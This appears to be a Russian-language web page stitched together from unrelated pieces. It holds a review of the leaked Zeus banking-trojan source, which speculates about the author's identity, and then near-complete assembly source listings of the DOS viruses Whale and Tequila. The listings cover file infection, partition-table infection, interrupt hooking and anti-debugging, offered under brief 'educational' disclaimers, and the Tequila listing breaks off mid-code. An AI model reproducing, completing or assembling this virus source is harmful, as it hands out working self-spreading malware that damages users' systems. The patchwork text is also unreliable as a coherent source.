Вирусов исходники: Учимся писать полностью «не обнаружимый» кейлогер / Блог компании Varonis Systems / Хабр
Небольшой обзор исходного кода трояна zeus / Хабр
Введение
Как нам подсказывает англо-русский словарь, zeus переводится как Зевс, Громовержец, главный бог древне-греческого пантиона. Назвав свое творение zeus в далеком уже 2007 году, неизвестный автор трояна взял на себя определенные обязательства, обязывающие быть если не главным, то как минимум в числе первых, и надо признать, он выполнил, и даже перевыполнил эти обязательства.
Zeus-троян стал уже легендарным на просторах Интернета и даже за его пределами за последние несколько лет. Ни один из троянов не зацвел таким буйным цветом, не распространился так широко, как этот, а по широте охвата zeus ненамного отстает от печально знаменитого червя Kido/Conficker.
Изначально zeus позиционировался как бансковский троян, то есть программа, которая каким либо образом проникает на компьютер жертвы и передает своему хозяину конфиденциальную информацию — логины, пароли, номера кредитных карт, CVV2/CVC2 коды и так далее. Но со временем стали появляться и модификации для кражи корпоративных данных, заражения исполняемых файлов, рассылки спама и так далее.
Расскажу немного о бизнес — схеме, которая используется при работе с zeus. Автор zeus (или авторы), заботливо расширяет и совершенствует свое детище вот уже много лет, но у этого парня хватает ума самому не заниматься распространением трояна — он продает конструктор для создания модифицированных версий всем желающим, с более или менее понятными инструкциями, также можно купить и тех. поддержку. Ну а поиском Дедиков как центров управления, созданием и распространением трояна — клиента, обработкой полученных номеров кредиток, обналичкой и прочим криминалом занимается всякая низкоинтеллектуальная “школота”.
Самый показательный пример такого рода – это задержание в начале октября 2010 года в США группы студентов из России, которые погорели скорее всего из-за своей неуемной жадности и тупости. Вот их имена: Илья Карасев, Кристина Извекова, Софья Дикова и иже с ними. Взято отсюда. Впрочем, вся школота на удивление дешево отделалась — каждому дали меньше года тюрьмы и мизерный денежный штраф, хотя в США за такие преступления можно сесть на 40 лет.
Хотя надо отметить, что автор zeus принимал активное участие в работе существующих крупных ботнетов, видимо в рамках тех. поддержки пользователям, ибо он пишет в рекомендациях по использованию своего детища, что дедик, на котором должна крутится адмика, должен быть достаточно мощным, с конкретными указаниями конфигурации.
Недавно zeus засветился еще в одной атаке – кто то перед рождеством разослал поздравительные рождественские открытки якобы из Белого дома по правительcnвенным учреждениям США. При переходе по ссылке или открытии прикрепленного файла zeus тупо сканировал винчестер в поисках Word, Exel, PDF файлов и отсылал их на некий сервер в Белоруссии.
Вообще, очень много ниточек от zeus ведут в страны постсоветского пространства, что дает основания подозревать, что родом он из России или Украины, что в последствии и подтвердилось, ибо комментарии в исходниках и инструкции по работе были написаны на русском. Да и сам GUI Сервера zeus содержал всего два языка — английский и русский.
Возможности
Вот что немного из того, что пишет сам автор о возможностях zeus:
-Язык и IDE программирования:
Visual C++ (текущая версия 9.0). Не используются дополнительные библиотеки (crtl, mfc, и т.д.).
-Поддерживаемые ОС:
XP/Vista/Seven, а также 2003/2003R2/2008/2008R2. В том числе работа под Windows x64, но только для 32-x битных процессов. Также сохраняется полноценная работа бота при активных сессиях «Terminal Servers».
-Принцип действия:
Бот основан на перехвате WinAPI, методом сплайсинга в ring3(пользовательский режим), путем запуска копии своего кода в каждом процессе пользователя (без использования DLL).
-Процесс установки:
В данный момент, в первую очередь бот ориентирован на работу под Vista/Seven, с включенным UAC, и без использования локальных сплойтов. Поэтому бот рассчитан на работу с минимальными привилегиями пользователя (включая пользователя «Гость»), с связи с этим бот всегда работает в пределах сессий одного пользователя (из-под которого производилась установка бота.). Бот может быть установлен для каждого пользователя в ОС, при этом боты не будут знать о существовании друг друга. При установке, бот создает свою копию в домашней директории пользователя, эта копия является привязанной к текущему пользователю и ОС, и не может быть запущена в другом пользователе, или тем более ОС. Оригинальная же копия бота (используемая для установки), будет автоматически удалена, в независимости от успеха установки.
-Защита:
Уникальные имена всех объектов (файлов, мютексов, ключей реестра) создаваемых ботом для каждого пользователя и ботнета. Установленный бот не может быть запущен с иной ОС или пользователя. Уничтожается код, служащий для установки бота. В данный момент не производиться скрытие файлов бота через WinAPI, т.к. антивирусные инструменты очень легко находят такие файла, и позволяют точно определить местоположение бота. Автообновление бота, не требующие перезагрузки. Контроль цельности файлов бота.
-Получение важных данных из программ пользователя:
Логинов из FTP-клиентов: FlashFXP, CuteFtp, Total Commander, WsFTP, FileZilla, FAR Manager, WinSCP, FTP Commander, CoreFTP, SmartFTP. «Кукисов» Adobe (Macromedia) Flash Player. «Кукисов» wininet.dll, Mozilla Firefox. Импорт сертификатов из хранилища сертификатов Windows. И слежение за их дальнейшим добавлением. Слежение за нажатием клавиш клавиатуры.
Сделаю несколько своих комментариев по поводу высказываний автора zeus: та версия, которая попала ко мне, была откомпилирована на компьютере автора с помощью MS Visual Studio 10.0, так что файл комментов несколько устарел. Толи автор не удосужился их обновить для того юзера, которому продал сорсы, толи еще что.
По поводу принципа действия – автор решил не заморачиватся написанием драйверов, поднятием привилегий и прочими boot-time фишками, которые очень популярны у вирусописателей в последнее время, и не случайно — эта олд-скульность весьма оправдана, так как бот работает предельно стабильно на всем семействе операционок Windows, функционален даже из под гостевого аккаунта, и имеет минимально возможную вероятность запалиться антивирусом. Тем более что в операционках семейства Windows после выхода XP SP2 для поддержки технологии “горячего патча” пролог каждой функции был сделан постоянной длинны в 5 байт, что избавло zeus от того, чтобы таскать с собой дизассемблер BeaEngine, и это несомненно пошло на пользу трояну, ибо автор zeus называет дизассемблер “довольно громоздким, хоть и универсальным”.
Узкое место то, что клиентская программа трояна прописывает себя в каждом пользовательском процессе, и этим ее можно детектировать. Например, техника определения, инфицирован ли данный процесс, используется самим ботом-клиентом для отрисовки окна при работе встроенного vnc сервера – проверяется, создан ли в процессе мутекс со специальным именем. Если создан – значит данный процесс инфицирован. Но имя скорее всего уникально для каждого экземпляра программы-клиента, так что так просто это в правила антивиря запихать не удастся. Вот еще интересные строчки “При установке, бот создает свою копию в домашней директории пользователя, В данный момент не производиться скрытие файлов бота через WinAPI” что дает нам отличный способ детектирования именно этого бота. И вообще – в корне домашнего каталога юзера не должно быть никаких левых подозрительных файлов! Особенно выполняемых, странно что антивирусы об этом не знают.
Вообще, схема распространения данной версии zeus довольно примитивна – пользователь переходит по ссылке, пришедшей в спамерском письме, или через инфицированный pdf документ, и запускает программу-инсталятор zeus, которая шифрует уникальным шифром вирус под каждого отдельного пользователя, после чего инсталлятор удаляется, а вирус сможет исполнятся только на этом данном компе под данным юзером. Никаких распространений через сканирование сети, через флешки, и прочих новомодных штучек. Все это безусловно ограничивает распространения трояна, зато делает его гораздо более устойчивым к антивирусам, что, судя по степени распространения zeus более чем оправдано.
По поводу “Получение важных данных из программ пользователя”- чистая правда, такая функциональность есть. Правда, автор забыл написать, что грабилка паролей CuteFTP в текущей версии закоментарена, то есть в билд она не попадает, судя по тому что не доделана, а расшифровка пароля для WsFTP вообще не реализована, что отражено в коментах сорсов, но это все мелочи 😉 Странно, что автор не потрудился на пароли аськи, скайпа, сохраненные пароли от соц. сетей и т.д., другие Трояны с радостью крадут все эти данные. Судя по всему, алгоритмы расшифровки многих паролей были получены методами реверсивного инжиниринга, то есть дизассемблированием. Кстати, среди браузеров автором не упомянут Google chrome, вдруг его данные троян не грабит, так что возможно лучше всего пользовать браузер от Google, хотя я этот вопрос не исследовал.
Ну как ясно из всего вышеперечисленного – zeus необычайно широко распространен, качественно сделан, устойчив и скрытен в работе, легко адаптируется под различные новые задачи, кроме всего прочего, работает под подавляющим большинством операционных систем семейства Windows, в том числе и в 64-битных. В общем, в своем роде просто уникальный продукт.
Ну и напоследок — исходники этого самого знаменитого трояна таки утекли в сеть, то есть его создатель попал на те же грабли, что и его законопослушные коллеги-программисты: кто то из покупателей толи потерял, толи намеренно выложит сорсы в сеть, благодаря чему все желающие получили возможность познакомится со зловредом так сказать изнутри.
Анализ
Как известно, разработка программного обеспечения, в том числе написание кода – работа очень творческая, тут нет каких то единых стандартов и раз и навсегда проторенных дорожек, это как спорт, когда у каждого великого спортсмена со временем вырабатывается свой стиль игры, как изобразительное искусство, когда картины мастера можно узнать по характерному подчерку, как литература, например, если маленький мальчик попал в лапы к нелюдям – это Лукьяненко, а если все люди перемерли и герой расследует преступление, бегая по руинам городов – это Филлип Дик. Так же и с исходным кодом ПО и сопутствующими ему деталями – у каждого профессионального программиста есть свой характерный почерк, который очень много может сказать о своем авторе. И никакие корпоративные шаблоны, типа документов по стилизации кода, использованию характерных языковых конструкций и так далее не может помешать автору кода изменить своему стилю, ибо это сидит уже в подсознании, в подкорке головного мозга. Вот я и попробую, анализируя исходный код трояна zeus, попытаться кое что разузнать о его авторе.
При первом взгляде на сорсы бросается в глаза их предельно четкая структурированность, что говорит о большом опыте автора в разработке ПО. Не заметно никаких следов какой либо системы контроля версий, и это лишний раз подтверждает предположение о том, что это не была утечка исходников от их создателя, а в сеть попал пакет сорсов, который был продан какому-то клиенту. Ведь врятли автору удалось работать 4 года и дожить до версии 2.0.8.9 без source-контроля.
Для начала хотелось бы отметить, что сам пакет zeus, попавший в мои руки, состоит из нескольких модулей:
common — общие для всех проектов файлы, в которых содержится реализация большинства абстракций, необходимых для работы, таких как менеджер памяти, работа со строками, файловой системой, процессами, потоками, объектами синхронизации и прочее. В общем, набор крайне полезных и нужных базовых сервисов.
client — непосредственно сам вирусный клиент или бот, который проникает и поселяется на компьютерах жертв. Самый большой по объему код находится тут, ибо трояну надо много чего уметь делать.
builder — построитель новых версий вирусного клиента на основе скомпиленного содержимого каталога “client”
bcserver — сервер для работы на дедике, к которому будут бак-коннектится боты.
server[php] – веб интерфейс для управления ботнетом.
bin – немногие 3rdparty, которые использует проект zeus. Все остальные сторонние компоненты были переписаны под zeus API, как то vnc, дизассамблер на движке BeaEngine. В этом каталоге лежат fasm, php, 7zip, upx.
Первое что бросилось в глаза — это билд система. Хотя zeus и собирается под Visual Studio 10, билд система написана на php. Это очень необычно и редко встречающееся решение, так как разработка системы билда на php не свойственно для Windows систем, и вообще не свойственно ни для каких систем. Это может говорить о том, что автор взял уже готовую подобную систему и модифицировал для своих целей. А где он мог ее взять? Только на своей предыдущей или нынешней работе, и скорее всего он участвовал в разработке данной системы.
Код написан почти полностью на С, только там где используются COM интерфейсы, неорхотно используется С++. Хотя автор регулярно пишет TODOшки, что какие то части надо переписать с использованием COM.
Весь код хорошо откоммениторован, такое впечатление, что все комменты написаны в стиле какой то системы самодокументирования, по типу javadoc или qtdoc, но более примитивной, видимо проприетарной, которая использовалась на бывшей работе автора бота. Почти все коменнты в коде написаны по русски, и это очень показательно, ибо говорит, что автор не работал в крупных междунароных проектах, ибо в них есть 100% запрет на комменты, написанные в национальных алфавитах. В php комменты в utf-8, когда как в С-коде комменты в win-1251. Также весьма возможно, что автор плохо владеет английским языком, ибо, как объясняется в предыдущем пункте, с иностранцами он не работал. Правда, есть тут одно препятствие – файл manual_en.html, который написан на более-менее приличном аглийском языке, но, возможно, у автора есть помощник, который владеет английским. Но еще раз повторюсь – я на 99% уверен что С-код всего zeus, включая билд систему, писал один человек. 80% вероятности этот же человек писал код php админки для бонтена. Еще про комменты -многие из них пестрят орфографическими ошибками в стиле “Интернет-падонков”, которые были модны лет 5 назад. Видимо эта филосовия крепко засела в голове неизвестного автора, раз он ее так активно использует.
Еще раз — я категорически утверждаю, что весь С-код zeus писал один человек, ни о какой команде хакеров, ни о какой передаче исходников zeus разработчикам SpyEye, которым так пугали нас в СМИ, не идет и речи, все стилистически и функционально настолько четко выверено и рассчитано, что даже еще не видя кода до конца, примерно представляешь, что же там будет.
Сам код меня в некотором смысле даже порадовал — никаких больших закомментариных кусков, нет даже не отформатированных кусков, все лаконично, четко и красиво, сразу видно что код регулярно ревьюится автором.
Еще одной отличительной особенностью является высокая степень абстракии кода от системных вызовов и вообще работы с конкретной операционной системой. Почти все, что только можно, вынесено в отдельные программные модули, которые разработаны по единой архитектуре, похожую на структуру классов языка с++. Также удивляет очень высокая степень унификации программных компонентов, многие из них сделаны по единому шаблону, несмотря на крайне различсную функциональность, что говорит о высоком профессионализме автора программы.
Немного меня удивила часто встречающаяся довольно больная длинна строк в исходных файлах – зачастую она превосходит 200 знаков! С одной стороны это говорит о том, что у автора монитор не менее 24«, с другой все равно непонятно, как он например, пользуется утилитами типа диффа разных ревизий исходного кода, с длинными строчками тут и 32« не хватит).
После обзора кода стал понятен феномен zeus – высокая надежность, легкая модифицируемость и широкое распространение, минимальная зависимость от текущей операционной системы: все очень просто, zeus – очень качественный программой продукт, с развитым набором базовых сервисов, продуманными механизмами внедрения, сокрытия и взаимодействия с командным центром. Поэтому ничего удивительного, что он стал так популярен у компьютерных преступников всех мастей и родов, и судя по всему, принес своему создателю не менее $100.000. Хотя, стоит отметить, что автор в нескольких комментах жалуется, что ему не на чем тестировать некоторые компоненты вируса, например SetColourMapEntries в vnc и SEC_I_CONTEXT_EXPIRED, SEC_I_RENEGOTIATE в ssl. Не вяжется это как то с предполагаемым доходом автора, хотя Москва, где предположительно живет автор трояна, дорогой город. Вообще, мне кажется, что если zeus продолжит развиваться и дальше, за голову неизвестного автора объявят награду, как в свое время Microsoft объявил награду в $250.000 за голову создателя червя Kido. Еще немного об авторе – судя по всему этот парень уже давно ушел со своей бывшей работы, ибо даты модификации некоторых сорсов- 4 утра, 12 ночи и так далее, короче, то время, когда любой приличный разработчик должен спать, чтобы с утра идти на работу. Мне могут возразить что возможно на компе, где происходила разработка, преднамеренно выставлено неправильное время? Ерунда! Автор в своей разработке использует наверняка несколько компов, а тут уже со временем особо не поиграешься, как минимум системе хранения исходных кодов это не понравится. Также не мог автор и работать удаленно, ибо опять же для работы ему надо несколько компов, даже если он использует виртуальные машины, да и по удаленке можно легко случайно запалится.
Вообще, самое неприятное чувство при работе с кодом я испытал в тот момент, когда запустил на выполнение файл make_debug.cmd, и у меня все довольно быстро собралось без сучка и задоринки. Получается, что любая школота, настроив элементарный конфиг, начнет клепать свои экземпляры ботов. Хотя надо отдать честь билд – системе, отработала она на ура.
В файлах “source\builder\resources\«resources.aps” и “zeus.sln” обнаружена крайне интересная строчка “C:\Users\jam3s\Desktop\Zeus\source\builder\resources\resources.rc”, это полный путь на диске, по которому на оригинальном компе разработчика хранилось дерево проекта. Ценно тут то, что неизвестный автор не особо утруждал себя расположением исходников, и банально свалил их на рабочий стол, в результате чего в путь попало имя пользователя операционной системы, “jam3s”, а это уже кое что! Это вам не “nic”, “mike” или прочая распространенная лабуда, это имя достаточно уникально, и не удивлюсь, если оно уже всплывало на просторах Интернета, где-нибудь на форумах или чатах, или даже на форумах фрилансеров. В дальнейшем автор стал более “продвинутым” и скопировал дерево исходников проекта в “c:\zeus”, это мы можем узнать из любого оригинального объектного файла проекта. Поиск по яндексу и гуглу каких то явных личностей с ником jam3s не выявил, но никаких особых результатов я и не ждал, ибо так просто автор zeus не спалится, не того полета птица.
Была еще попытка попробовать найти, где автор взял иноку для back-connect сервера, там изображено что то типа черной свиньи или лошади, но ничего интересного найти не удалось, пару раз изображение нашлось в галереях в череде похожих уродцев.
В общем, в кратце можно составить такой обобщенный портрет ботописателя:
— Молодой человек от 28 до 35 лет, русский.
— Работал в более-менее крупной фирме разработчиком ПО несколько лет, фирма не сотрудничала с иностарнцами.
— На 90% проживает в Москве, на 80% в Санкт-Петербурге
— Не знает английский язык или знает плохо.
— Пользуется ником jam3s.
Эпилог
Говорят, что у орудий, предназначенных для убийства есть своя потаенная эстетика, изгиб линий и очертания форм предают таким предметам скрытое очарование, вызывающее смесь восхищения и ужаса у наблюдающего их. Схожие чувства я испытал в процессе знакомства с исходниками zeus, этим одним из самых совершенных орудий всеобщей кибернетической эпохи, когда никто не может чувствовать себя в безопасности от невидимых но цепких лап троянов и руткитов. Может, пока Вы читаете эти строки, за Вами пристально следит через vnc один из очередных хозяев ботнета, терпеливо ожидая, пока Вы залогинетесь в свой банковский аккаунт? Но не все так плохо, пример автора zeus говорит нам, что нет ничего невозможного для опытного и целеустремленного одиночки – программиста, пусть он и вынашивает самые низкие и коварные замыслы.
Да прибует с вами хабра-сила!
Исходный Код Вируса Whale (Virus.DOS.Whale
Дисклеймер! Далее представлен текст исключительно в образовательных целях. Мы не ставим цели иные, кроме как образовательные и информационные. Код программы, которая детектируется как Virus.DOS.Whale представлен как пример программистского решения.
Virus.DOS.Whale
Обнаружен в 1990 году, 1 июля в городе Гамбург, Германия. Отличительная черта — использование многочисленных средств защиты (шифрование, динамическое шифрование, вложенное шифрование, пустышки и т.д.).
Использует стелс технологии — скрывает свое присутствие в ОС MS DOS. Для этого программа перехватывает 16 DOS функций операционной системы.
Заражает файлы с расширением exe, com, ovl. Для этого записывает свой код с конец атакуемого файла.
В определенный момент (с 19 февраля по 20 марта) выводит на экран текст:
THE WHALE IN SEARCH OF THE 8 FISH I AM ‘~knzyvo}’ IN HAMBURG
Буквальный перевод:
КИТ В ПОИСКАХ 8 РЫБОВ Я ЕСТЬ ‘~ knzyvo}’ В ГАМБУРГЕ
Записывает в файл C:FISH-#9.TBL, который создает сам, текст:
FISH VIRUS #9 A Whale is no Fish! Mind her Mutant Fish and the hidden Fish Eggs for they are damaging. The sixth Fish mutates only if Whale is in her Cave
Буквальный перевод:
FISH VIRUS # 9 Кит — это не рыба! Следите за ее Мутантной рыбой и скрытой рыбой
Яйца для них вредны. Шестая Рыба видоизменяется, только если в ней есть Кит
пещера
(Гугл перевод)
Является резидентным (после запуска остается в памяти). Обладает размером 9 килобайт.
Исходный код вируса Whale
;===================================================================== ;===================================================================== ; The WHALE ; ; ; ; Listing erstellt 1991 , R. H”rner , Karlsruhe , FRGDR ; ; ; ;===================================================================== ;===================================================================== code SEGMENT ASSUME CS:code,DS:code,ES:CODE .RADIX 16 ORG 100h ;--------------------------------------------------------------------- ;----------------( Struktur der Entscheidungs-Tabelle fЃr INT 21h )--- ;--------------------------------------------------------------------- IF_THEN STRUC WENN DB ? DANN DW ? ENDS ;==========================================( Der Decoder-Aufruf )=== MDECODE MACRO Adr CALL DECODE DW @L&adr-L&Adr L&Adr: ENDM ;==========================================( der Coder-Aufruf )=== MCODE MACRO Adr CALL CODEIT DB @L&Adr-L&Adr+1 @L&Adr: ENDM ;--------------------------------------------------------------------- ;--------------------------------------------------( fЃr Mutanten )--- L04BB5 EQU OFFSET D4BB5 J00000 EQU L04BB5 - Offset Entry J11111 EQU L04BB5 - Offset @INT21 ZweiByte EQU J00000 / 2 DreiByte EQU J00000 / 3 M_Size EQU OFFSET J03AD0-OFFSET J03A84 ;--------------------------------------------------------------------- ;-------------------------------------------( "Mutierende" Makros )--- ;--------------------------------------------------------------------- CALL_INT21 MACRO Adr,adr1 ; Selbst-Relozierend DB 0E8H DW - (LL&ADR + J11111 + 1) LL&ADR EQU $-OFFSET ADR1 ENDM ;--------------------------------------------------------------------- CALL_ENTRY MACRO Adr,adr1 ; Selbst-Relozierend DB 0E8H DW - (CE&ADR + J00000 ) CE&ADR EQU $-OFFSET ADR1 ENDM ;--------------------------------------------------------------------- JMP_ENTRY MACRO Adr,adr1 ; Selbst-Relozierend DB 0E9H DW - (JM&ADR + J00000 ) JM&ADR EQU $-OFFSET ADR1 ENDM ;===================================================================== ;===============================================( zur relozierung )=== ;===================================================================== FirstByte EQU OFFSET @FirstByte-OFFSET VirStart ; 20h CODE_LEN EQU OFFSET LASTCODE-OFFSET @FirstByte ; 2385H CODE_START EQU OFFSET J04BCF - OFFSET @FirstByte ; 239FH ;===================================================================== ;============================================( ver„nderlicher Code)=== ;===================================================================== SwapCode_1 EQU Offset Decode - Offset VirStart ; 0A33h Swapcode_2 EQU OFFSET J03A20 - Offset VirStart ; 1210h Swapcode_3 EQU OFFSET J0491A - Offset J03047 ; 18D3h SwapCode_4 EQU OFFSET J03047 - Offset VirStart ; 0837H SwapCode_5 EQU OFFSET J03259 - Offset VirStart ; 0A49h SwapCode_6 EQU OFFSET J02CFF - Offset VirStart ; 04EFh SwapCode_7 EQU Offset SwitchByte-Offset VirStart; SwapCode_8 EQU Offset Int_02 - Offset VirStart ; 3181h ;===================================================================== ;========================================( einfacher zu schreiben )=== ;===================================================================== XorByte__1 EQU OFFSET D_4A5E - Offset VirStart ; 224Eh XorByte__2 EQU OFFSET D_4A79 - Offset VirStart ; 2269h ;===================================================================== Part_____1 EQU OFFSET D4BAC - OFFSET VirStart ; 239Ch Len_Part_1 EQU OFFSET Lastbyte - Offset D4BAC ; 0054h ;===================================================================== SchwimmZiel EQU OFFSET J029C1 - Offset VirStart ; 01B1h WischeWeg EQU OFFSET D4B7C - Offset VirStart ; 236Ch ;===================================================================== SS_INIT EQU Offset EXE_SS_INIT-Offset VirStart SP_INIT EQU Offset EXE_SP_INIT-Offset VirStart CODE_INIT EQU Offset EXE_CODE_INIT-Offset VirStart ;===================================================================== ;=============================( Sprungtabelle fЃr Int 21h-Handler )=== ;===================================================================== L0699 EQU Offset J02ea9 - Offset VirStart L04f4 EQU Offset J02D04 - Offset VirStart L06E0 EQU Offset J02EF0 - Offset VirStart L06CA EQU Offset J02EDA - Offset VirStart L08CF EQU Offset J030DF - Offset VirStart L06C8 EQU Offset J02ED8 - Offset VirStart L0996 EQU Offset J031A6 - Offset VirStart L09E4 EQU Offset J031F4 - Offset VirStart L1E5E EQU Offset J0466E - Offset VirStart L1DA2 EQU Offset J045B2 - Offset VirStart L0AD4 EQU Offset J0325D - Offset VirStart L1F70 EQU Offset J04780 - Offset VirStart L1D0F EQU Offset J0451F - Offset VirStart ;===================================================================== ;==============================( wenn ein Debugger erkannt wird...)=== ;===================================================================== IfDebugWal EQU (Offset J04B6A-Offset CreateTempCode+1) / 2 StartDebug EQU Offset CreateTempCode-Offset VirStart ;===================================================================== ;==========================================( Erkl„rung fehlt noch )=== ;===================================================================== @0478 EQU 0478H @FB88 EQU 10000h-@0478 ;===================================================================== ;=================================================( COM-Einsprung )=== ;===================================================================== start: JMP ENTRY ; JMP Decode_Whale DB 00h Whale_ID DW 020CCh ; kennung,
Исходники вирусов. DOS вирус Tequila
Полиморфный, резидентный, загрузочный компьютерный вирус Tequila созданный под ОС MS DOS. Зловред заражает загрузочный сектор диска ПК, что позволяет ему получать управление при запуске компьютера. Находится в памяти (является резидентным), заражая исполняемые файлы с расширением .exe (размер инфицированных программ увеличивался на 2,468 байт). При этом не заражает файлы, в названиях которых есть «v» и «sc» (предположительно для избежания «атаки» антивирусов.
Также нашпигован защитными механизмами — полиморфизм, антиотладка, шифрование. После того, как в ОС будет заражено четверть всех программ, компьютерный вирус Tequila «выдает» свое присутвие выводом на консоль сообщение:
Welcome to T.TEQUILA's latest production. Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/Switzerland Loving thoughts to L.I.N.D.A BEER and TEQUILA forever ! Execute: mov ax, FE03 / int 21. Key to go on!
Также зловред выводит на экран картинку фрактала Мандельброта:
Программа была создана швейцарским программистом в исследовательских целях. Однако, программа (исходник или зараженный файл) была похищена и «выпущена» на компьютере одного из сотрудников компании, занимающихся разработкой компьютерных программ. В результате в начале 1991 года разразилась эпидемия этого вируса в Европе. После, в 1993 году эпидемия этого зловреда повторилась в Южной Африке.
Исходник вируса Tequila
! Внимание. Код приводится исключительно в образовательных целях !
;============================= ; the tequila virus = ; a recompilable = ; dis-assembly = ; specifically designed = ; for assembly to a COM file = ; with the A86 assembler. = ; ++++++++++++++++++ = ; If you desire a "perfect" = ; byte for byte source code = ;match-up, the MASM assembler= ; must be used and the noted = ;instructions must be changed= ; to comply with MASM syntax.= ; In addition, all byte and = ;word pointer references must= ; be changed from B and W to = ; BYTE POINTER and WORD = ; POINTER. = ;============================= CODE_SEG SEGMENT ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG ORG 0100 TEQUILA PROC NEAR JMP START DB 000, 000, 000, 000, 000, 000, 000, 0FFH, 0FFH DB 009, 005, 001H, 010H, 000, 000, 002H, 0FAH, 000, 00CH DB 00DH, 00AH, 00DH, 00AH DB "Welcome to T.TEQUILA's latest production.", 00DH, 00AH DB "Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/" DB "Switzerland.", 00DH, 00AH DB "Loving thoughts to L.I.N.D.A", 00DH, 00AH, 00DH, 00AH DB "BEER and TEQUILA forever !", 00DH, 00AH, 00DH, 00AH DB "$" DB "Execute: mov ax, FE03 / int 21. Key to go on!" PROGRAM_TERMINATION_ROUTINE: PUSH BP MOV BP,SP SUB SP,0CH PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH ES PUSH DS PUSH CS POP DS MOV AX,W[6] INC AX JE 0243H ;Masm Mod. Needed DEC AX JNE 020DH ;Masm Mod. Needed DEC W[8] ;Masm Mod. Needed JNE 0243H ;Masm Mod. Needed JMP 0246H ;Masm Mod. Needed MOV AH,02AH CALL INT_21 MOV SI,CX MOV CX,W[8] CMP CL,DL JNE 022FH ;Masm Mod. Needed MOV AX,SI SUB AX,W[6] MUL B[011H] ;Masm Mod. Needed ADD AL,DH ADD CH,3 CMP AL,CH JAE 0237H ;Masm Mod. Needed MOV W[6],0FFFFH ;Masm Mod. Needed JMP 0243H ;Masm Mod. Needed MOV W[6],0 ;Masm Mod. Needed MOV W[8],3 ;Masm Mod. Needed JMP 02DF ;Masm Mod. Needed MOV BX,0B800H INT 011 AND AX,030H CMP AX,030H JNE 0256H ;Masm Mod. Needed MOV BX,0B000H MOV ES,BX XOR BX,BX MOV DI,0FD8FH MOV SI,0FC18H MOV W[BP-2],SI MOV W[BP-4],DI MOV CX,01E MOV AX,W[BP-2] IMUL AX MOV W[BP-8],AX MOV W[BP-6],DX MOV AX,W[BP-4] IMUL AX MOV W[BP-0C],AX MOV W[BP-0A],DX ADD AX,W[BP-8] ADC DX,W[BP-6] CMP DX,0F JAE 02B0 ;Masm Mod. Needed MOV AX,W[BP-2] IMUL W[BP-4] IDIV W[0F] ;Masm Mod. Needed ADD AX,DI MOV W[BP-4],AX MOV AX,W[BP-8] MOV DX,W[BP-6] SUB AX,W[BP-0C] SBB DX,W[BP-0A] IDIV W[0D] ;Masm Mod. Needed ADD AX,SI MOV W[BP-2],AX LOOP 0269 ;Masm Mod. Needed INC CX SHR CL,1 MOV CH,CL MOV CL,0DB ES MOV W[BX],CX ;Masm Mod. Needed INC BX INC BX ADD SI,012 CMP SI,01B8 JL 0260 ;Masm Mod. Needed ADD DI,034 CMP DI,02A3 JL 025D ;Masm Mod. Needed XOR DI,DI MOV SI,0BB MOV CX,02D CLD MOVSB INC DI LOOP 02D7 ;Masm Mod. Needed XOR AX,AX INT 016 POP DS POP ES POP DI POP SI POP DX POP CX POP BX POP AX MOV SP,BP POP BP RET PRINT_MESSAGE: PUSH DX PUSH DS PUSH CS POP DS MOV AH,9 MOV DX,012 CALL INT_21 POP DS POP DX RET NEW_PARTITION_TABLE: CLI XOR BX,BX MOV DS,BX MOV SS,BX MOV SP,07C00 STI XOR DI,DI SUB W[0413],3 ;Masm Mod. Needed INT 012 MOV CL,6 SHL AX,CL MOV ES,AX PUSH ES MOV AX,022A PUSH AX MOV AX,0205 MOV CX,W[07C30] INC CX MOV DX,W[07C32] INT 013 RETF DB 002, 0FE DB 04C, 0E9 DB 080, 004 PUSH CS POP DS XOR AX,AX MOV ES,AX MOV BX,07C00 PUSH ES PUSH BX MOV AX,0201 MOV CX,W[0226] MOV DX,W[0228] INT 013 PUSH CS POP ES CLD MOV SI,0409 MOV DI,09BE MOV CX,046 REP MOVSB MOV SI,091B MOV DI,0A04 MOV CX,045 REP MOVSB CLI XOR AX,AX MOV ES,AX ES LES BX,[070] ;Masm Mod. Needed MOV W[09B0],BX ;Masm Mod. Needed MOV W[09B2],ES ;Masm Mod. Needed MOV ES,AX ES LES BX,[084] ;Masm Mod. Needed MOV W[09B4],BX ;Masm Mod. Needed MOV W[09B6],ES ;Masm Mod. Needed MOV ES,AX ES MOV W[070],044F ;Masm Mod. Needed ES MOV W[072],DS ;Masm Mod. Needed STI RETF INSTALL: CALL NEXT_LINE NEXT_LINE: POP SI SUB SI,028F PUSH SI PUSH AX PUSH ES PUSH CS POP DS MOV AX,ES ADD W[SI+2],AX ADD W[SI+4],AX DEC AX MOV ES,AX MOV AX,0FE02 INT 021 CMP AX,01FD JE NO_PARTITION_INFECTION ES CMP B[0],05A ;Masm Mod. Needed JNE NO_PARTITION_INFECTION ES CMP W[3],0BB ;Masm Mod. Needed JBE NO_PARTITION_INFECTION ES MOV AX,W[012] ;Masm Mod. Needed SUB AX,0BB MOV ES,AX XOR DI,DI MOV CX,09A4 CLD REP MOVSB PUSH ES POP DS CALL INFECT_PARTITION_TABLE NO_PARTITION_INFECTION: POP ES POP AX PUSH ES POP DS POP SI CS MOV SS,W[SI+4] ;Masm Mod. Needed CHAIN_TO_THE_HOST_FILE: CS JMP D[SI] ;Masm Mod. Needed INFECT_PARTITION_TABLE: MOV AH,02A INT 021 MOV W[6],CX ;Masm Mod. Needed MOV W[8],DX ;Masm Mod. Needed MOV AH,052 INT 021 ES MOV AX,W[BX-2] ;Masm Mod. Needed MOV W[03E8],AX ;Masm Mod. Needed MOV AX,03513 INT 021 MOV W[09A0],BX ;Masm Mod. Needed MOV W[09A2],ES ;Masm Mod. Needed MOV AX,03501 INT 021 MOV SI,BX MOV DI,ES MOV AX,02501 MOV DX,03DA INT 021 MOV B[0A],0 ;Masm Mod. Needed PUSHF POP AX OR AX,0100 PUSH AX POPF MOV AX,0201 MOV BX,09A4 MOV CX,1 MOV DX,080 PUSH DS POP ES PUSHF CALL D[09A0] ;Masm Mod. Needed PUSHF POP AX AND AX,0FEFF PUSH AX POPF PUSHF MOV AX,02501 MOV DX,SI MOV DS,DI INT 021 POPF JAE 0450 ;Masm Mod. Needed JMP RET ;Masm Mod. Needed PUSH ES POP DS CMP W[BX+02E],0FE02 JNE 045C ;Masm Mod. Needed JMP RET ;Masm Mod. Needed ADD BX,01BE MOV CX,4 MOV 